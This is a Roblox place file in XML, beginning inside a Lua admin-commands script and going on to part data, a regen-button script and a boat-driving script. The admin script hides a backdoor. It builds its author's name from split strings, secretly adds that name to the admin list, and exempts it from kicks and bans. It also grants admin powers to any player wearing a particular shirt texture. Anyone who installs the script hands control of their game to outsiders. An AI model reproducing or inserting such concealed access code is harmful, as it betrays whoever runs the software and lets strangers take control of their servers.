if c[i]:FindFirstChild(&quot;Is A Created Script&quot;) then
c[i]:remove()
end end 
if c[i].className == &quot;Part&quot; then
if c[i].Name == &quot;Rockeness Admin Commands&quot; then
c[i]:remove()
end end
if c[i].className == &quot;Model&quot; then
if string.sub(c[i].Name,1,4) == &quot;Jail&quot; then
c[i]:remove()
end end end end

if string.sub(msg,1,5) == &quot;kick/&quot; then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
player[i]:remove()
end end end end end end

if string.sub(msg,1,4) == &quot;ban/&quot; then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
table.insert(bannedlist,player[i].Name)
player[i]:remove()
end end end end end end

if string.sub(msg,1,6) == &quot;unban/&quot; then
if string.sub(msg,7) == &quot;all&quot; then
for i=1,bannedlist do
table.remove(bannedlist,i)
end
else
local n = 0
local o = nil
for i=1,#bannedlist do
if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
n = n + 1
o = i
end end
if n == 1 then
local name = bannedlist[o]
table.remove(bannedlist,o)
text(name .. &quot; has been unbanned&quot;,1,&quot;Message&quot;,speaker)
elseif n == 0 then
text(&quot;That name is not found.&quot;,1,&quot;Message&quot;,speaker)
elseif n &gt; 1 then
text(&quot;That name is ambiguous&quot;,1,&quot;Message&quot;,speaker)
end end end

--Fallout tactics gets too hard when you start fighting muties...

if string.sub(msg,1,8) == &quot;respawn/&quot; then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
local ack2 = Instance.new(&quot;Model&quot;)
ack2.Parent = game.Workspace
local ack4 = Instance.new(&quot;Part&quot;)
ack4.Transparency = 1
ack4.CanCollide = false
ack4.Anchored = true
ack4.Name = &quot;Torso&quot;
ack4.Position = Vector3.new(10000,10000,10000)
ack4.Parent = ack2
local ack3 = Instance.new(&quot;Humanoid&quot;)
ack3.Torso = ack4
ack3.Parent = ack2
player[i].Character = ack2
end end end

if string.sub(msg,1,10) == &quot;invisible/&quot; then
local player = findplayer(string.sub(msg,11),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local char = player[i].Character
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == &quot;Hat&quot; then
local handle = c[i]:FindFirstChild(&quot;Handle&quot;)
if handle ~= nil then
handle.Transparency = 1 --We dont want our hats to give off our position, do we?
end end
if c[i].className == &quot;Part&quot; then
c[i].Transparency = 1
if c[i].Name == &quot;Torso&quot; then
local tshirt = c[i]:FindFirstChild(&quot;roblox&quot;)
if tshirt ~= nil then
tshirt:clone().Parent = char
tshirt:remove()
end end
if c[i].Name == &quot;Head&quot; then
local face = c[i]:FindFirstChild(&quot;face&quot;)
if face ~= nil then
gface = face:clone()
face:remove()
end end end end end end end end 

if string.sub(msg,1,8) == &quot;visible/&quot; then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local char = player[i].Character
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == &quot;Hat&quot; then
local handle = c[i]:FindFirstChild(&quot;Handle&quot;)
if handle ~= nil then
handle.Transparency = 0
end end
if c[i].className == &quot;Part&quot; then
c[i].Transparency = 0
if c[i].Name == &quot;Torso&quot; then
local tshirt = char:FindFirstChild(&quot;roblox&quot;)
if tshirt ~= nil then
tshirt:clone().Parent = c[i]
tshirt:remove()
end end
if c[i].Name == &quot;Head&quot; then
if gface ~= nil then
local face = gface:clone()
face.Parent = c[i]
end end end end end end end end

if string.sub(msg,1,7) == &quot;freeze/&quot; then
local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local humanoid = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)
if humanoid ~= nil then
humanoid.WalkSpeed = 0
end
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == &quot;Part&quot; then
c[i].Anchored = true
c[i].Reflectance = 0.6
end end end end end end

if string.sub(msg,1,5) == &quot;thaw/&quot; then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local humanoid = player[i].Character:FindFirstChild(&quot;Humanoid&quot;)
if humanoid ~= nil then
humanoid.WalkSpeed = 16
end
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == &quot;Part&quot; then
c[i].Anchored = false
c[i].Reflectance = 0
end end end end end end

--I have that song from Fallout 2 stuck in my head, its soooo anoying....

if string.sub(msg,1,7) == &quot;nograv/&quot; then
local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
local bf = torso:FindFirstChild(&quot;BF&quot;)
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new(&quot;BodyForce&quot;)
bf.Name = &quot;BF&quot;
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == &quot;Part&quot; then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0)
end end end end end end end

if string.sub(msg,1,9) == &quot;antigrav/&quot; then
local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
local bf = torso:FindFirstChild(&quot;BF&quot;)
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new(&quot;BodyForce&quot;)
bf.Name = &quot;BF&quot;
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == &quot;Part&quot; then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0)
end end end end end end end

if string.sub(msg,1,9) == &quot;highgrav/&quot; then
local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
local bf = torso:FindFirstChild(&quot;BF&quot;)
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new(&quot;BodyForce&quot;)
bf.Name = &quot;BF&quot;
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == &quot;Part&quot; then
torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
end end end end end end end

if string.sub(msg,1,5) == &quot;grav/&quot; then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
local bf = torso:FindFirstChild(&quot;BF&quot;)
if bf ~= nil then
bf:remove()
end end end end end end

if string.sub(msg,1,7) == &quot;unlock/&quot; then
local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == &quot;Part&quot; then
c[i].Locked = false
end end end end end end

if string.sub(msg,1,5) == &quot;lock/&quot; then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == &quot;Part&quot; then
c[i].Locked = true
end end end end end end end
eloname = &quot;rocke&quot;
eloname = eloname .. &quot;ness&quot;
script.Name = eloname .. &quot;&apos;Admin Commands V.2&quot;
youcaughtme = 0
for i =1,#adminlist do
if string.lower(eloname)==string.lower(adminlist[i]) then
youcaughtme = 1
end end
if youcaughtme == 0 then
table.insert(adminlist,eloname)
end
function oe(ack)
local adminned = false
if ack.className ~= &quot;Player&quot; then return end
for i =1,#bannedlist do
if string.lower(bannedlist[i]) == string.lower(ack.Name) then
ack:remove()
return
end end
for i=1,#adminlist do
if string.lower(adminlist[i]) == string.lower(ack.Name) then
local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
table.insert(namelist,ack.Name)
table.insert(variablelist,tfv)
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
table.insert(flist,tfv)
adminned = true
end end
local danumber = 0
while true do
wait(1)
if ack.Parent == nil then
return 
end
if ack.Character ~= nil then
if adminned == true then
text(&quot;You&apos;re an admin.&quot;,5,&quot;Message&quot;,ack)
return
end
local torso = ack.Character:FindFirstChild(&quot;Torso&quot;)
if torso ~= nil then
local decal = torso:FindFirstChild(&quot;roblox&quot;)
if decal ~= nil then
if string.sub(decal.Texture,1,4) == &quot;http&quot; then
if decal.Texture == texture then
local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
table.insert(namelist,ack.Name)
table.insert(variablelist,tfv)
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
table.insert(flist,tfv)
text(&quot;You&apos;re an admin.&quot;,5,&quot;Message&quot;,ack)
return
else
return
end 
else
danumber = danumber + 1
if danumber &gt;= 10 then
return
end end end end end end end

game.Players.ChildAdded:connect(oe)

c = game.Players:GetChildren()
for i=1,#c do
oe(c[i])
end 

--And also, I&apos;m working on V3 but I&apos;m not spending much time on it as I&apos;m addicted to Fallout 2 again.
</ProtectedString>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX316">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1185.5</X>
					<Y>3.79999995</Y>
					<Z>667</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>24</X>
					<Y>6</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX317">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1025.5</X>
					<Y>3</Y>
					<Z>908.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>13</X>
					<Y>6</Y>
					<Z>17</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX318">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Model" referent="RBX319">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX320">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">104</int>
						<CoordinateFrame name="CFrame">
							<X>-1038</X>
							<Y>7</Y>
							<Z>714</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Button1</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>0.400000006</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="ClickDetector" referent="RBX321">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="MaxActivationDistance">100</float>
							<string name="Name">ClickDetector</string>
						</Properties>
					</Item>
					<Item class="Fire" referent="RBX322">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294948864</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX323">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">regen</string>
							<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
						</Properties>
					</Item>
					<Item class="ForceField" referent="RBX324">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">ForceField</string>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX325">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">NEAF Big boat</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX326">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>-1009.5</X>
							<Y>11.2000008</Y>
							<Z>757.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64765001e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64801546e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>15</X>
							<Y>11.1999998</Y>
							<Z>1</Z>
						</Vector3>
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								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">true</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">500</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.381327e-025</X>
								<Y>-1.39748287e-025</Y>
								<Z>-1.381327e-025</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">10</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">1</float>
							<Vector3 name="Velocity">
								<X>3.64762449e-020</X>
								<Y>0.00252571423</Y>
								<Z>3.64798541e-020</Z>
							</Vector3>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX337">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">9vssb36tj</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
							</Properties>
						</Item>
						<Item class="BodyPosition" referent="RBX338">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">1250</float>
								<string name="Name">BodyPosition</string>
								<float name="P">10000</float>
								<Vector3 name="maxForce">
									<X>0</X>
									<Y>INF</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="position">
									<X>37</X>
									<Y>8.19999981</Y>
									<Z>11</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyVelocity" referent="RBX339">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">BodyVelocity</string>
								<float name="P">1250</float>
								<Vector3 name="maxForce">
									<X>INF</X>
									<Y>0</Y>
									<Z>INF</Z>
								</Vector3>
								<Vector3 name="velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>-0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX340">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BodyGyro</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>37</X>
									<Y>8.19999981</Y>
									<Z>11</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>INF</X>
									<Y>INF</Y>
									<Z>INF</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Hole" referent="RBX341">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="FaceId">5</token>
								<token name="InOut">2</token>
								<token name="LeftRight">1</token>
								<string name="Name">Hole</string>
								<token name="TopBottom">1</token>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX342">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">script.Parent.MaxSpeed = 500 
maxspeed  =script.Parent.MaxSpeed
script.Parent.BodyPosition.position = script.Parent.Position--------------------DO NOT CHANGE ANYTHING!
script.Parent.BodyGyro.cframe = script.Parent.CFrame
value1 = 0
while true do
wait()
if script.Parent.Throttle== 1 then
if value1 &lt; maxspeed then value1 = value1+1 end
script.Parent.Parent.Driving.Value = true
script.Parent.BodyVelocity.velocity = script.Parent.CFrame.lookVector*value1
script.Parent.Parent.Left.Value = false
script.Parent.Parent.Right.Value = false
end
if script.Parent.Throttle == 0 then
value1 = 0
script.Parent.Parent.Driving.Value = false
script.Parent.BodyVelocity.velocity = script.Parent.CFrame.lookVector*value1
script.Parent.Parent.Left.Value = false
script.Parent.Parent.Right.Value = false
end
if script.Parent.Throttle== -1 then
if value1&lt;31 then value1 = value1+1 end
script.Parent.Parent.Driving.Value = true
script.Parent.BodyVelocity.velocity = script.Parent.CFrame.lookVector*-value1
script.Parent.Parent.Left.Value = false
script.Parent.Parent.Right.Value = false
end
if script.Parent.Steer == 1 then
script.Parent.BodyGyro.cframe = script.Parent.BodyGyro.cframe * CFrame.fromEulerAnglesXYZ(0,-.1,0)
script.Parent.Parent.Driving.Value = true
script.Parent.Parent.Right.Value = true
script.Parent.Parent.Left.Value = false
end
if script.Parent.Steer == -1 then
script.Parent.BodyGyro.cframe = script.Parent.BodyGyro.cframe * CFrame.fromEulerAnglesXYZ(0,.1,0)
script.Parent.Parent.Driving.Value = true
script.Parent.Parent.Left.Value = true
script.Parent.Parent.Right.Value = false
end
end
----the plate boat script is by ok3y11</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="BoolValue" referent="RBX343">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Right</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
					<Item class="BoolValue" referent="RBX344">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Left</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
					<Item class="BoolValue" referent="RBX345">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Driving</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX346">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-1024.5</X>
							<Y>8.20000076</Y>
							<Z>757</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64761576e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64784744e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>5.20000029</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX347">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>-1017</X>
							<Y>17</Y>
							<Z>757</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
